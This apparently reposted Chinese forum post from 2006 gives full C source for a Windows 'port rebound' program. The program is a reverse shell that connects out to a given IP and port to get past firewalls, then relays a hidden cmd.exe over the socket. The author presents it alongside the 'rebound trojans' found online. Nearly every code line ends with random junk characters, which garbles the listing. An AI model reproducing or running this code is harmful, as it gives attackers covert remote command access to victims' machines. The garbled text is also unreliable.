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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b'q ru~i  
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/* ============================== {g9*t}l4  
Rebound port in Windows NT 9*~bAgkWI  
By wind,2006/7 Y"H'BT!b}  
===============================*/ ^^,cnDlm  
#include u00w'=pe)  
#include 5 EhOvt8  
s>J\h  
#pragma comment(lib,"wsock32.lib") 6-E>-9]'E  
VAW:h5j2@  
void OutputShell(); TOT#l6yqdd  
SOCKET sClient; M( w'TE@  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nA*U drcn  
4y*"w*L  
void main(int argc,char **argv) '+EtnWH s  
{ (aC~0 #4  
WSADATA stWsaData; `D/<*e,#  
int nRet; W&~\@j]!D  
SOCKADDR_IN stSaiClient,stSaiServer; H!'Ek[s+  
ycq+C8J+Ep  
if(argc != 3) :; z]:d  
{ 4Jn+Ot.,d  
printf("Useage:\n\rRebound DestIP DestPort\n"); YCl&}/.pA  
return; E)3Ah!  
} ZLDO&}  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2# 72B  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $^:s)Yv  
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stSaiClient.sin_family = AF_INET; WOg pDs  
stSaiClient.sin_port = htons(0); bv^wE,+?o  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f9K+o-P.h  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CdZ. T/x  
{ 6Y`rQ/F  
printf("Bind Socket Failed!\n"); ]l7rM"  
return; ~nJ"#Q_T  
} NufRd/q  
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stSaiServer.sin_family = AF_INET; aT4I sPA?_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); uG7?:) pxv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); < ]"Uy p  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _u3%16,o  
{ bvW3[ V  
printf("Connect Error!"); Mfn^v:Q#  
return; T)MX]T  
} Tw,|ZA4XH  
OutputShell(); 6E@TcN~ ,!  
} A$g'/QM  
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void OutputShell() S awf]/  
{ `+h+X 9  
char szBuff[1024]; mxnu\@}(  
SECURITY_ATTRIBUTES stSecurityAttributes; dQn , 0  
OSVERSIONINFO stOsversionInfo; r>#4Sr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; frokl5L@  
STARTUPINFO stStartupInfo; IG.!M@_  
char *szShell; HTLS$o;Q  
PROCESS_INFORMATION stProcessInformation; .[r1Qz7G  
unsigned long lBytesRead; 1l5'N=hL  
c(b2f-0!4  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l(Ya,/4  
s !IvUc7'  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8e5imei  
stSecurityAttributes.lpSecurityDescriptor = 0; W(}2R>$  
stSecurityAttributes.bInheritHandle = TRUE; b*(, W  
-x{@D{Q%  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .sjv"D"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @;G%7&ps  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); q`VkA \  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j[,XJ,5=  
stStartupInfo.wShowWindow = SW_HIDE; I5*<J n  
stStartupInfo.hStdInput = hReadPipe; 2KlVj]!7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @Q7^caG  
B)*1[Jf{4  
GetVersionEx(&stOsversionInfo); \JC_"gqt  
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switch(stOsversionInfo.dwPlatformId) =Fc}T%  
{ J%]5C}v \  
case 1: -_xTs(;|8  
szShell = "command.com"; JXV#V7  
break; ev #/v:$?  
default: jM-7  
szShell = "cmd.exe"; nA(5p?D+YB  
break; Y <`X$  
} ~g9~D}48k'  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d/3bE*gr  
n/Dg)n?  
send(sClient,szMsg,77,0); yIf^vx_G  
while(1) i[4!% FxB  
{ bk0<i*ju7(  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r $[{sW  
if(lBytesRead) iGSF5S  
{ Es- =0gpK  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?E,-P!&R  
send(sClient,szBuff,lBytesRead,0); Scug wSB  
} 3&I3ViAH  
else r0wAh/J|  
{ d;,Jf*x\  
lBytesRead=recv(sClient,szBuff,1024,0); _%3p&1ld  
if(lBytesRead<=0) break; XqU0AbQ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *k Tj,&x[  
} g*Pn_Yo[.  
} EL%Pv1  
p' 6h9/  
return; 6B]i}nFH{+  
}
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